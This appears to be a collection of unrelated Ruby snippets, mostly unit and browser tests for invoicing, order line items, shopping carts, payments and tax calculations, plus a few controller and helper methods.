"def test_create_new_invoice_with_amount_0_goes_through\n visit registrar_invoices_path\n click_link_or_button 'Add deposit'\n fill_in 'Amount', with: '0.00'\n fill_in 'Description', with: 'My first invoice'\n\n assert_difference 'Invoice.count', 1 do\n click_link_or_button 'Add'\n end\n\n assert_text 'Please pay the following invoice'\n assert_text 'Invoice no. 131050'\n assert_text 'Subtotal 0,00 €'\n assert_text 'Pay invoice'\n end",
"def test_the_application_can_update_a_previous_item_description_on_our_to_do_list\n #Implement the test\n #Implement the controller action\n end",
"def test_create_invoice_resource\n resource = :invoice\n test_field = :label\n test_value = \"a nice label\"\n\n # We need a client so that we can assign a valid client id to the invoice\n # It is deleted in test_delete_invoice_resource\n client = Billomat.res(:client).new\n client.save\n\n x = Billomat.res(resource).new\n x.client_id = client.id\n assert x.save, \"Could not save newly created #{resource}\"\n assert x.save, \"#{resource} creation resulted in invalid #{resource} record\"\n assert(x.id > 0, \"New #{resource} was not successfully created (no id)\")\n\n\n y = Billomat.res(resource).find(x.id)\n y.attributes[test_field] = test_value\n assert y.save, \"Editing #{resource} resource did not succeed\"\n\n z = Billomat.res(resource).find(x.id)\n assert_equal test_value, z.attributes[test_field]\n end",
"def test_create_order\n setup_new_order()\n @o.order_line_items << OrderLineItem.for_product(items(:small_stuff))\n assert @o.save\n end",
"def test_that_it_can_return_all_instances_of_item_by_invoice_id\n engine = SalesEngine.new(\"./data\")\n engine.startup\n assert_equal [539, 528, 523, 535, 529, 541, 530, 534], engine.find_all_items_by_invoice_id(1).map{|item| item.id}\n end",
"def test_line_items\n @products = {'1' => {'quantity' => 1} }\n @order.line_items = @products\n # Test adding one line item\n assert_equal @order.order_line_items.length, 1\n assert_equal @order.get_line_item_quantity(1), 1\n # Test adding one line item with a bigger quantity\n @products['1'] = {'quantity' => 2}\n @order.line_items = @products\n # Test some of our other line item methods\n assert_equal @order.has_line_item?(1), true\n assert_equal @order.has_line_item?(2), false\n assert_equal @order.get_line_item_quantity(1), 2\n\t\t# Assert money is correct\n\t\t@soap = Product.find(1)\n\t\tassert_equal @order.get_line_item_total(1), (@soap.price*2)\n\t\t# Is the total correct?\n\t\tassert_equal @order.line_items_total, (@soap.price*2)\n\t\t# Reset all line items\n\t\t@order.line_items = {}\n\t\tassert_equal @order.order_line_items.length, 0\n end",
"def test_remove_promotion_multiple_items\n setup_new_order_with_items()\n editable_order_codes = (1..5)\n editable_order_codes.each do |status_id|\n o_status = OrderStatusCode.find(status_id)\n assert_kind_of OrderStatusCode, o_status\n\n @o.order_status_code = o_status\n assert @o.is_editable?\n \n promo = promotions(:fixed_rebate)\n @o.promotion_code = promo.code\n assert @o.save\n assert_kind_of OrderLineItem, @o.promotion_line_item\n # Add dupe line item.\n dupe_item = @o.promotion_line_item.clone\n @o.order_line_items << dupe_item\n assert_equal 2, @o.order_line_items.count(\n :conditions => [\"name = ?\", @o.promotion.description]\n )\n # Remove\n @o.remove_promotion()\n assert_nil @o.promotion_line_item\n end\n end",
"def test_adding_and_removing\n c = Cart.create\n assert_difference(c.cart_items, :size, 3) do\n [1, 3, 4].each do |i|\n assert c.add(i)\n end\n end\n \n assert_equal Book.find([1,3,4]), c.books\n \n [1, 3, 4].each do |i|\n assert c.remove(i)\n end\n assert_equal [], c.reload.cart_items\n end",
"def test_get_line_item_quantity\n assert_equal @order.get_line_item_quantity(@order.order_line_items.find_by_name(items(:towel).name).id), order_line_items(:santa_next_christmas_order_item_6).quantity\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.get_line_item_quantity(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), 0\n end",
"def test_promotion_line_item\n # Setup\n promo = promotions(:percent_rebate)\n setup_new_order_with_items()\n # Exercise\n @o.promotion_code = promo.code\n assert @o.save\n assert_kind_of Promotion, @o.promotion\n # Verify\n assert_equal @o.promotion_line_item.name, promo.description\n end",
"def test_items\n assert_equal @order.items, @order.order_line_items\n end",
"def test_issue_and_purchase\n invoice = 47\n assert response = @gateway.issue(300, @blank_test3_track2, @options.merge(:invoice => invoice, :order_id => invoice))\n assert_success response\n \n invoice = 48\n assert purchase = @gateway.purchase(700, @blank_test3_track2, @options.merge(:invoice => invoice, :order_id => invoice))\n assert_success purchase\n end",
"def test_record_payment_and_verify_status_draft\r\n \t@user = watir_session.with(:basic_user)\r\n @user.logs_in\r\n\r\n \t@user.displays_invoice_list()\r\n \ti = Invoice.find(invoices(:draft_invoice).id)\r\n \tassert_equal 'draft', i.status\r\n\t\r\n \t@user.edits_invoice(invoices(:draft_invoice).id)\r\n #@user.sets_invoice_info(:unique => \"Inv-0001\")\r\n @user.b.wait\r\n @user.select_list(:id, \"invoice_customer_id\").option(:text, \"Customer with Contacts\").select\r\n @user.b.wait\r\n #@user.sets_invoice_contact(:first_name => \"My Contact First Name\",\r\n\t#\t:last_name => \"My Contact Last Name\")\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"),\"50.00\")\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"amount\").select\r\n\r\n assert_equal 2, @user.adds_line_item(:unit => \"Item A\",\r\n\t\t\t\t\t:description => \"Description for Item A\",\r\n\t\t\t\t\t:quantity => \"10.0\",\r\n\t\t\t\t\t:price => \"5.50\")\r\n\t\t\r\n # Submit and verify\r\n\tassert_difference 'LineItem.count', 2 do\r\n \t@user.submits \r\n end\r\n\r\n @user.span(:id, \"mark_sent\").links[1].click\r\n @user.wait()\r\n\r\n @user.link(:name, 'record_payment').click\r\n @user.wait\r\n \r\n assert_difference 'Payment.count' do\r\n assert_difference 'PayApplication.count' do\r\n #Enter payment information.\r\n e = @user.select_list(:id, 'payment_pay_type')\r\n assert e.exists?, 'Should have payment field payment_pay_type'\r\n e.select('credit card')\r\n e = @user.text_field(:id, 'payment_amount')\r\n assert e.exists?, 'field payment_amount should exist'\r\n @user.populate(e, (5.00).to_s)\r\n e = @user.text_field(:id, 'payment_date')\r\n assert e.exists?, 'field payment_date should exist'\r\n @user.populate(e,'11/30/2007')\r\n e = @user.text_field(:id, 'payment_description')\r\n assert e.exists?, 'field payment_description should exist'\r\n @user.populate(e,'Paid total: $5.00')\r\n @user.wait()\r\n @user.submits()\r\n end\r\n end\t\r\n\r\n assert @user.contains_text('Payment was successfully recorded')\r\n p = Payment.find(:first, :order => 'id desc')\r\n i = Invoice.find(invoices(:draft_invoice).id)\r\n pa = p.pay_applications.find_by_invoice_id(invoices(:draft_invoice).id)\r\n \r\n assert_equal 'credit card', p.pay_type\r\n assert_equal i.total_amount, p.amount\r\n assert_equal Date.new(2007, 11, 30), p.date\r\n assert_equal 'Paid total: $5.00', p.description\r\n assert_equal 'recorded', p.status\r\n\r\n #verify pay application has correct values\r\n \tassert_equal i.total_amount, pa.amount\r\n\t \r\n assert_equal 'paid', i.status\t\r\n end",
"def test_record_payment_and_verify_status_resent\r\n \t@user = watir_session.with(:basic_user)\r\n @user.logs_in\r\n\r\n \t@user.displays_invoice_list()\r\n \ti = Invoice.find(invoices(:resent_invoice).id)\r\n \tassert_equal 'resent', i.status\r\n\t\r\n \t@user.edits_invoice(invoices(:resent_invoice).id)\r\n #@user.sets_invoice_info(:unique => \"Inv-0001\")\r\n #@user.sets_invoice_contact(:first_name => \"My Contact First Name\",\r\n\t#\t:last_name => \"My Contact Last Name\")\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"),\"10.00\")\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"percent\").select\r\n\r\n assert_equal 2, @user.adds_line_item(:unit => \"Item A\",\r\n\t\t\t\t\t:description => \"Description for Item A\",\r\n\t\t\t\t\t:quantity => \"10.0\",\r\n\t\t\t\t\t:price => \"5.50\")\r\n\r\n\t# Submit and verify\r\n\tassert_difference 'LineItem.count', 1 do\r\n \t@user.submits \r\n end\r\n\r\n\t@user.link(:name, 'record_payment').click\r\n\t@user.wait()\r\n\t\r\n assert_difference 'Payment.count' do\r\n assert_difference 'PayApplication.count' do\r\n #Enter payment information.\r\n e = @user.select_list(:id, 'payment_pay_type')\r\n assert e.exists?, 'Should have payment field payment_pay_type'\r\n e.select('cheque')\r\n e = @user.text_field(:id, 'payment_amount')\r\n assert e.exists?, 'field payment_amount should exist'\r\n @user.populate(e,(58.50).to_s)\r\n e = @user.text_field(:id, 'payment_date')\r\n assert e.exists?, 'field payment_date should exist'\r\n @user.populate(e,'11/30/2007')\r\n e = @user.text_field(:id, 'payment_description')\r\n assert e.exists?, 'field payment_description should exist'\r\n @user.populate(e,'Paid total: $58.50')\r\n @user.wait()\r\n @user.submits()\r\n end\r\n end\t\r\n\r\n \r\n\r\n assert @user.contains_text('Payment was successfully recorded')\r\n p = Payment.find(:first, :order => 'id desc')\r\n i = Invoice.find(invoices(:resent_invoice).id)\r\n pa = p.pay_applications.find_by_invoice_id(invoices(:resent_invoice).id)\r\n \r\n assert_equal 'cheque', p.pay_type\r\n assert_equal i.total_amount.to_s, p.amount.to_s\r\n assert_equal Date.new(2007, 11, 30), p.date\r\n\r\n assert_equal 'Paid total: $58.50', p.description\r\n assert_equal 'recorded', p.status\r\n\r\n #verify pay application has correct values\r\n \tassert_equal i.total_amount, pa.amount\r\n\t \r\n assert_equal 'paid', i.status\t\r\n end",
"def test_add_dino\n @d.add_dino\n assert_equal @d.resources[\"dinos\"], 1\n @d.add_dino\n assert_equal @d.resources[\"dinos\"], 2\n end",
"def test_truth\n assert_kind_of InvoiceNote, invoice_notes(:first)\n end",
"def test_should_update_product\n a_product = items(:chinchilla_coat)\n assert a_product.update_attributes(:description => 'Coat of 21 chichillas.')\n end",
"def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end",
"def test_the_application_can_update_a_previous_item_title_on_our_to_do_list\n #Create an item to test\n #Send a PUT request to '/items/:id' that will update the item's title\n #Assert that the controller responds with a status of 200\n #Assert that the controller responds with a body of 'Item updated'\n #Assert that the item's title is the updated title and not the original title.\n end",
"def test_simple_total\n i = invoices(:simple)\n assert_equal 1000, i.total\n end",
"def setup_items(container)\n container.item :users, 'Users', '/users', id: 'users_id', link: { id: 'users_link_id' }\n container.item :invoices, 'Invoices', '/invoices' do |invoices|\n invoices.item :paid, 'Paid', '/invoices/paid'\n invoices.item :unpaid, 'Unpaid', '/invoices/unpaid'\n end\n container.item :accounts, 'Accounts', '/accounts', style: 'float:right', link: { style: 'float:left' }\n container.item :miscellany, 'Miscellany'\n\n container.items.each do |item|\n item.stub(selected?: false, selected_by_condition?: false)\n\n if item.sub_navigation\n item.sub_navigation.items.each do |item|\n item.stub(selected?: false, selected_by_condition?: false)\n end\n end\n end\nend",
"def rebuild_invoice\n end",
"def fake_data\n @plan = Plan.new(:name => \"trial\")\n @plan.save\n @account = Account.new(\n :name => \"Masev\", :subdomain => \"maseva\", :rut => \"76.530.890-k\",\n address: \"Eliodro Yañez 810\", city: \"Santiago\",\n e_invoice_enabled: true, e_invoice_resolution_date: \"2014/01/01\",\n industry_code: 10398, industry: \"Servicios Informaticos\"\n )\n @user = @account.users.new(email: \"pbruna@gmail.com\", password: \"172626292\")\n @account.save\n @user.save\n @company = Company.new(name: \"Acme\", rut: \"13.834.853-9\", address: \"Eliodro Yañez 810\", province: \"Providencia\", city: \"Santiago\", account_id: @account.id, industry: \"Servicios Informaticos\" )\n @company.save\n @contact = Contact.new(company_id: @company.id, name: \"Patricio\", email: \"pbruna@itlinux.cl\")\n @contact.save\n @invoice = @account.invoices.new(number: 28, subject: \"Prueba de Factura\",\n active_date: \"10/02/2014\", due_days: 30, currency: \"CLP\",\n taxed: false, company_id: @company.id, total: 1000, net_total: 1000,\n contact_id: @contact.id\n )\n @invoice_item = @invoice.invoice_items.build(type: \"producto\", quantity: 2, price: 1000)\n resource = File.new(Rails.root.to_s + \"/test/fixtures/files/test-file.png\")\n @attachment = @invoice.attachments.build(category: Attachment.categories[:invoice], resource: resource, author_id: 10, author_type: \"User\", account_id: 10)\n @reminder = @invoice.build_reminder\n @invoice.save\n end",
"def test_get_line_item_total\n assert_equal @order.get_line_item_total(@order.order_line_items.find_by_name(items(:towel).name).id), order_line_items(:santa_next_christmas_order_item_6).total\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.get_line_item_total(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), 0\n end",
"def test_credit_note_sub_total_calculation3\n credit_note = create_test_credit_note\n line_item = credit_note.line_items.first\n\n # Make sure that everything adds up to begin with.\n expected_total = credit_note.sub_total + credit_note.total_tax\n assert_equal(expected_total, credit_note.total)\n\n # Change the quantity of the first line item and make sure that\n # everything still continues to add up.\n line_item.quantity = line_item.quantity + 5\n assert_not_equal(expected_total, credit_note.total)\n expected_total = credit_note.sub_total + credit_note.total_tax\n assert_equal(expected_total, credit_note.total)\n end",
"def test_show_if_has_line_item\n assert_equal @order.has_line_item?(@order.order_line_items.find_by_name(items(:towel).name).id), true\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.has_line_item?(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), false\n end",
"def test_item_association\n assert_equal @order.order_line_items, @order.items\n end",
"def test_check_tax_calculation_on_edited_invoice_with_discount_before_tax\r\n @debug = false\r\n expected_before = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.25} \r\n \r\n # uncheck_both_taxes \r\n expected_after = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 15.23} \r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_both_taxes}\r\n \r\n # uncheck_tax_1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 16.16}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_1}\r\n \r\n # uncheck_tax_2\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 16.32}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_2}\r\n \r\n # change tax rate 1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.71}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_1_rate(10.00)}\r\n\r\n #change_tax_2_rate\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.31,\r\n :total => 18.05}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_2_rate(11.11)}\r\n\r\n #change_discount_amount\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 5.55,\r\n :total => 12.01}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount(5.55)}\r\n\r\n #change_discount_percent\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.86,\r\n :total => 16.70}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent(5.55)}\r\n\r\n #change_discount_amount_and_rates(5.55, 10.0, 11.11)\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 5.55,\r\n :total => 13.27}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount_and_rates(5.55, 10.0, 11.11)}\r\n\r\n #change_discount_percent_and_rates(5.55, 10.0, 11.11) \r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.86,\r\n :total => 17.96}\r\n \r\n edit_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent_and_rates(5.55, 10.0, 11.11)}\r\n\r\n\r\n b = @user.b\r\n\r\n #change_qty\r\n @user.edits_invoice(invoices(:discount_before_tax_invoice).id)\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change quantity\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\"), '4')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\").set('4')\r\n end\r\n \r\n @user.wait \r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n \r\n #change_price\r\n @user.edits_invoice(invoices(:discount_before_tax_invoice).id)\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change price\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][price]\"), '4.44')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][price]\").set('4.44')\r\n end\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n \r\n end",
"def test_the_application_can_create_an_item\n # Send a POST request to '/items' endpoint that creates a new item\n # with a title of 'Learn to test controllers' and a description 'This is great'\n # Assert that the controller responds with a status of 200\n # Assert that the controller responds with a body of 'Item created'\n # Assert that the ToDo table has an item in it\n end",
"def test_record_payment_and_verify_status_sent\r\n \t@user = watir_session.with(:basic_user)\r\n @user.logs_in\r\n\r\n \r\n\t@user.displays_invoice_list()\r\n\ti = Invoice.find(invoices(:sent_invoice).id)\r\n\tassert_equal 'sent', i.status\r\n\t\r\n \t@user.edits_invoice(invoices(:sent_invoice).id)\r\n #@user.sets_invoice_info(:unique => \"Inv-0001\")\r\n #@user.sets_invoice_contact(:first_name => \"My Contact First Name\",\r\n\t#\t:last_name => \"My Contact Last Name\")\r\n @user.populate(@user.text_field(:id, \"invoice_discount_value\"),\"10.00\")\r\n @user.select_list(:id, \"invoice_discount_type\").option(:text, \"percent\").select\r\n\r\n assert_equal 2, @user.adds_line_item(:unit => \"Item A\",\r\n\t\t\t\t\t:description => \"Description for Item A\",\r\n\t\t\t\t\t:quantity => \"10.0\",\r\n\t\t\t\t\t:price => \"5.50\")\r\n\r\n\r\n\t# Submit and verify\r\n\tassert_difference 'LineItem.count', 1 do\r\n \t@user.submits \r\n end\r\n\r\n\t@user.link(:name, 'record_payment').click\r\n\t@user.wait()\r\n\t\r\n assert_difference 'Payment.count' do\r\n assert_difference 'PayApplication.count' do\r\n #Enter payment information.\r\n e = @user.select_list(:id, 'payment_pay_type')\r\n assert e.exists?, 'Should have payment field payment_pay_type'\r\n e.select('cash')\r\n e = @user.text_field(:id, 'payment_amount')\r\n assert e.exists?, 'field payment_amount should exist'\r\n @user.populate(e,(58.50).to_s)\r\n e = @user.text_field(:id, 'payment_date')\r\n assert e.exists?, 'field payment_date should exist'\r\n @user.populate(e,'11/30/2007')\r\n e = @user.text_field(:id, 'payment_description')\r\n assert e.exists?, 'field payment_description should exist'\r\n @user.populate(e,'Paid total: $58.50')\r\n @user.wait()\r\n @user.submits()\r\n end\r\n end\t\r\n\r\n assert @user.contains_text('Payment was successfully recorded')\r\n p = Payment.find(:first, :order => 'id desc')\r\n i = Invoice.find(invoices(:sent_invoice).id)\r\n pa = p.pay_applications.find_by_invoice_id(invoices(:sent_invoice).id)\r\n \r\n assert_equal 'cash', p.pay_type\r\n assert_equal i.total_amount.to_s, p.amount.to_s\r\n assert_equal Date.new(2007, 11, 30), p.date\r\n assert_equal 'Paid total: $58.50', p.description\r\n assert_equal 'recorded', p.status\r\n\r\n #verify pay application has correct values\r\n \tassert_equal i.total_amount, pa.amount\r\n\t \r\n assert_equal 'paid', i.status\t\r\n end",
"def generate_invoice_items(tariff, invoice, bill, cf, user_id)\n # Should prorate\n should_prorate, prev_reading_tariff = should_prorate?(tariff)\n if should_prorate\n # Must prorate\n prorate_consumption_and_apply_tariffs('I', tariff, prev_reading_tariff, invoice, bill, cf, user_id)\n else\n # Current tariff only\n save_invoice_items(tariff, invoice, bill, cf, user_id)\n end # should_prorate\n end",
"def test_set_product_cost\n # Setup\n setup_new_order()\n oli = OrderLineItem.for_product(items(:small_stuff))\n @o.order_line_items << oli\n # Exercise\n assert @o.save\n # Verify\n assert_equal @o.reload.product_cost, oli.total\n end",
"def test_total_netto_price\n #quantity x netto price\n prod = InvoicesApp::InvoiceItems.new('safsdfsdfsdf', 3, 4.5)\n assert_equal prod.total_netto_price, 13.5\n end",
"def test_seed_refund_iia\n data = {}\n data[:name] = 'Agostino Giordano'\n data[:external_key] = 'agostinogiordano8'\n data[:email] = 'agostinogiordano8@kb.com'\n data[:currency] = 'EUR'\n data[:time_zone] = 'Europe/Rome'\n data[:address1] = '3 Viale Abruzzi'\n data[:address2] = nil\n data[:postal_code] = '20010'\n data[:company] = nil\n data[:city] = 'Milan'\n data[:state] = 'Lombardy'\n data[:country] = 'Italy'\n data[:locale] = 'it_IT'\n\n @agostinogiordano = create_account_with_data(@user, data, @options)\n add_payment_method(@agostinogiordano.account_id, '__EXTERNAL_PAYMENT__', true, nil, @user, @options)\n\n # Generate first invoice for the annual plan\n base1 = create_entitlement_base(@agostinogiordano.account_id, 'reserved-metal', 'MONTHLY', 'DEFAULT', @user, @options)\n wait_for_expected_clause(1, @agostinogiordano, @options, &@proc_account_invoices_nb)\n\n # Second invoice\n kb_clock_add_days(31, nil, @options) # 2015-09-01\n wait_for_expected_clause(2, @agostinogiordano, @options, &@proc_account_invoices_nb)\n\n kb_clock_add_days(1, nil, @options) # 2015-09-02\n\n base1.cancel(@user, nil, nil, nil, 'IMMEDIATE', 'END_OF_TERM', nil, @options)\n\n payments = get_payments_for_account(@agostinogiordano.account_id, @options)\n\n invoice_payment = get_invoice_payment(payments[1].payment_id, @options)\n\n invoice = get_invoice_by_id(invoice_payment.target_invoice_id, @options)\n\n adjustments = []\n adjustments << { invoice_item_id: invoice.items[0].invoice_item_id,\n currency: 'EUR',\n amount: invoice.items[0].amount }\n\n refund(payments[1].payment_id, payments[1].purchased_amount, adjustments, @user, @options)\n end",
"def test_create_product \n check_product\n end",
"def test_invoice_for_employee_customer\n Customer.expects(:gets).returns('E')\n invoice = Invoicing.new\n invoice.generate_invoice\n assert_equal 228, invoice.total_bill\n assert_equal 30, invoice.customer_discount\n assert_equal 65, invoice.total_discount.total_percentage_discount_apllied_to_bill\n assert_equal 10, invoice.total_discount.total_hundred_dollor_discount_apllied_to_bill\n assert_equal 75, invoice.total_discount.total_discount_apllied_to_bill\n assert_equal 153, invoice.amount_to_pay\n end",
"def test_assert_add_cost_value_is_set_only_if_add_cost_present\n converter = Converter.new(make_file('111_items'))\n converter.convert\n orders = converter.invoices\n orders.each do |o|\n if o.add_costs?\n assert_match /addCosts1/, o.add_costs_xml\n assert_match /\\d+\\.\\d+/, o.add_costs_xml\n assert_match /addCostsValue1/, o.add_costs_xml\n end\n end\n end",
"def test_order_line_item_quantity_is_postive\n a_towel = items(:towel)\n an_order_line_item = OrderLineItem.for_product(a_towel)\n an_order_line_item.quantity = -1;\n assert_raise(ActiveRecord::RecordInvalid) { \n an_order_line_item.save!\n }\n an_order_line_item.quantity = 0\n assert_raise(ActiveRecord::RecordInvalid) {\n an_order_line_item.save!\n }\n an_order_line_item.quantity = 1\n assert_nothing_raised {\n an_order_line_item.save!\n }\n end",
"def test_add_product_with_negative_quantity\n a_cart = Order.new\n a_cart.add_product(items(:blue_lightsaber), 2)\n a_cart.add_product(items(:blue_lightsaber), -1)\n a_cart.reload\n # Calling add_product with a negative quantity should remove that many units\n assert_equal 1, a_cart.items[0].quantity\n a_cart.add_product(items(:blue_lightsaber), -3) \n# a_cart.reload\n assert a_cart.empty?\n end",
"def test_newJobOrder\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test = [{\"displayed\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"click_and_load\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"displayed\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH},\n {\"set_text\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH, \"text\" => RequisitionsHomePage::RECORD_TYPE_REQUISITION_TEXT},\n {\"displayed\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"click_and_load\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"displayed\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH, \"text\" => RequisitionsNewAndEdit::REQUISITION_NAME},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_PRIMARY_RECRUITER_TEXT_XPATH, \"text\" => RequisitionsNewAndEdit::PRIMARY_RECRUITER_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_LOCATION_XPATH, \"text\" => RequisitionsNewAndEdit::LOCATION_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_DEPARTAMENT_XPATH, \"text\" => RequisitionsNewAndEdit::DEPARTMENT_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MIN_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MIN_SALARY_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MAX_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MAX_SALARY_TEXT}, \n {\"click_and_load\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH}] \n Common.main(test)\n assert $wait.until {\n $browser.find_element(:xpath, RequisitionsDetail::REQUISITIONS_DETAIL_BTN_DELETE_XPATH).displayed? \n } \nend",
"def test_add_product\n a_cart = Order.new\n a_cart.add_product(items(:red_lightsaber), 1)\n a_cart.add_product(items(:red_lightsaber), 3)\n assert_equal 1, a_cart.items.length, \"Cart added multiple order line items for the same product. #{a_cart.items.inspect}\"\n assert a_cart.save\n a_cart.reload()\n assert_equal 1, a_cart.items.length\n assert_equal 4, a_cart.items[0].quantity\n end",
"def update\n ActiveRecord::Base.transaction do\n @invoice.update invoice_params\n @invoice.invoice_details.destroy_all\n Item.all.each do |item|\n if params[\"amount_#{item.id}\"].to_i > 0\n InvoiceDetail.create!(invoice: @invoice, item: item, price: item.price,\n amount: params[\"amount_#{item.id}\"].to_i)\n end\n end\n end\n @invoice.reload\n respond_to do |format|\n if @invoice.calculate_total!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice }\n else\n format.html { render :edit }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
